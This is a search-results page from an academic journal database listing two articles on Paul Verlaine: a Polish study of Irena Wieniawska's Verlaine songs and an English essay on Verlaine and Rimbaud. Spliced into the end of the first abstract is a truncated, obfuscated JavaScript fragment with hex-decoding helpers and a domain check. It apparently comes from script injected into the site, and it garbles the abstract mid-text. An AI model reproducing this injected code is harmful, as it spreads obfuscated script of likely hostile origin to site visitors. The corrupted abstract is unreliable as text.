Results found: 2

Search results

Search:
in the keywords: Paul Verlaine

Sort By:

Limit search:

Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a

100%

Al-Araj A.

Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes

2016

vol. 14

issue 1

W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy. W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (corollaries) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej mélodie, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy. Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Gest pośmiertnego pisania i inne „gesta” poetyckie (Verlaine, Rimbaud)

99%

Kuczyńska-Koschany K.

Poznańskie Studia Polonistyczne. Seria Literacka

2010

issue 17

43-65

The essay undertakes to investigate the phenomenon of erotic friendship as an “intertextual friendship” and, at the same time, “somatic (mis) understanding” (German: Un-beziehung). The following considerations include a discussion on the relationship between Paul Verlaine and Arthur Rimbaud, viewed first of all as bohemian characters of bohemian life and the protagonists of the mitologised homo-erotic relationship. Beside a hermeneutic attempt at describing the intimacy shared by both poets, or stages in the development of their intimate relations (with reference to French literature of the subject and texts that have not yet been translated into Polish), the author writes extensively on the reception of the relationship of the legendary pair of friends-lovers A-war period, Agnieszka Holland’s film Total eclipse and the most recent poetical texts by Ewa Sonnenberg. The essay is complemented by some considerations on similar cases, analogous to the instance of the relationship between the two French poets: epistolary romance between R.M. Rilke and M. Tsvetaeva and, important within the context of the reception of Rimbaud in Poland - love/friendship exhibited in the letters between Andrzej Czajkowski and Anita Janowska.

Refine search results

1 Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes

1 Poznańskie Studia Polonistyczne. Seria Literacka

1 2016

1 2010

1 Al-Araj A.

1 Kuczyńska-Koschany K.

Search results

Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a

Gest pośmiertnego pisania i inne „gesta” poetyckie (Verlaine, Rimbaud)